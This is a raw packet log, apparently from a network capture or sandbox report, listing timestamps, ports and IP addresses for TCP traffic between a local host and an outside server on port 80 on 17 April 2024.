Apr 17, 2024 06:57:16.105947971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.106127977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.106157064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.106177092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.106177092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.106192112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.106206894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.106337070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.163403034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.163439035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.163475037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.163506985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.163552999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.163710117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.163743973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.163758993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.163772106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.163778067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.163834095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.164016008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164073944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164089918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164113045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164143085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.164144039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.164297104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164313078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164329052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164335012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.164343119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164361000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.164361000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.164396048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.164396048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.164594889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164611101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164625883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164640903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164943933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.164975882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.165009022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.165024996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.165040016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.165086031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.165086031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.221254110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.221292973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.221328974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.221360922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.221431017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.221431017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.221431971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.221431971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.221491098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.221544981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.221549034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.221580982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.221601009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.221611977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.221626043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.221649885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222006083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222023964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222039938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222053051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222075939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222111940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222215891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222265005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222275019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222290039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222305059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222321033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222321033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222346067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222491026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222563028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222579002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222594023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222608089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222637892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222637892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222820997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222837925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222877026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222877026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222907066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222922087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.222949982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.222979069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223184109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223229885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223244905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223259926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223282099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223282099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223315954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223647118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223671913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223689079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223690987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223706007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223706961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223726034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223745108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223925114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223941088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223956108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223967075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223970890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.223993063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.223994017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.224023104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.224294901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.224312067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.224329948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.224344969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.224356890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.224387884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.224387884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.224564075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.224579096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.224594116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.224617004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.224643946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.678738117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.678755999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.881979942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.882019997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.245177984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.245251894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:17.320508957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:17.523643970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.643309116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.643369913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.643407106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.643436909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:17.643496037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:17.645378113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:17.848748922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.955421925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.955486059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:17.955560923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:18.230930090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:18.231033087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:18.434483051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:18.434545994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:18.724351883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:18.724780083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:18.731570959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:18.731654882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:18.935472965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:18.935528040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:19.209633112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:19.209834099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:19.219542980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:19.219602108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:19.423356056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:19.423471928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:19.711749077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:19.714416981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:19.719295979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:19.719352961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:19.927911997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:19.927957058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:20.195985079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:20.196141958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:20.203052998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:20.203110933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:20.406276941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:20.406390905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:20.406426907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:20.697870970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:20.698223114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:20.705275059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:20.705275059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:20.908564091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:20.908606052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:21.233067036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:21.233258009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:21.240662098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:21.240662098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:21.443919897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:21.443975925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:21.717852116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:21.717983007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:21.726991892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:21.727056026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:21.930432081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:21.930480003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:22.248656034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:22.248732090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:22.253871918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:22.253900051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:22.457279921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:22.457338095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:22.645406961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:22.645493984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:22.650574923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:22.650603056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:22.853701115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:22.853743076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:23.163996935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:23.164060116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:23.168910027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:23.168936014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:23.372365952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:23.372448921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:23.372481108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:23.638174057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:23.638605118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:23.644273996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:23.644309044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:23.847981930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:23.848046064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:24.182745934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:24.182821989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:24.226037979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:24.226079941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:24.429874897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:24.429929972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:24.700814009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:24.701034069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:24.708786964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:24.708786964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:24.912568092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:24.912626982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:24.912935019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:25.219259024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:25.219803095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:25.227567911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:25.227569103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:25.430891991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:25.430947065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:25.678396940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:25.680834055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:25.691651106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:25.691682100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:25.895011902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:25.895054102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:26.246479034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:26.246609926 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:26.254086971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:26.254143000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:26.457345963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:26.457439899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:26.681026936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:26.681288958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:26.688678026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:26.688739061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:26.891859055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:26.892313957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:27.210072994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:27.210220098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:27.218477964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:27.218512058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:27.421758890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:27.421812057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:27.421844006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:27.744227886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:27.744390965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:27.756165028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:27.756205082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:27.959657907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:27.959716082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:28.226102114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:28.226643085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:28.234663010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:28.234743118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:28.438405991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:28.438453913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:28.677270889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:28.677454948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:28.848273039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:28.848337889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:29.051763058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:29.051806927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:29.319380045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:29.319467068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:30.336004972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:30.336127043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:30.539361000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:30.539405107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:30.780155897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:30.780354023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:30.787399054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:30.787399054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:30.990684986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:30.990700006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:31.273011923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:31.273121119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:31.280761957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:31.280807018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:31.484137058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:31.484164953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:31.724024057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:31.724585056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:31.731403112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:31.731483936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:31.934941053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:31.934964895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:32.216344118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:32.216475964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:32.222593069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:32.222635984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:32.426117897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:32.426139116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:32.426147938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:32.617239952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:32.617361069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:32.624267101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:32.624309063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:32.828736067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:32.828808069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:33.143286943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:33.143484116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:33.150096893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:33.150146961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:33.354083061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:33.354126930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:33.585884094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:33.586420059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:33.593990088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:33.593990088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:33.797442913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:33.797496080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:33.797569990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:34.119884968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:34.120233059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:34.127809048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:34.127851963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:34.330987930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:34.331029892 CEST	80	49730	185.172.128.23	192.168.2.4
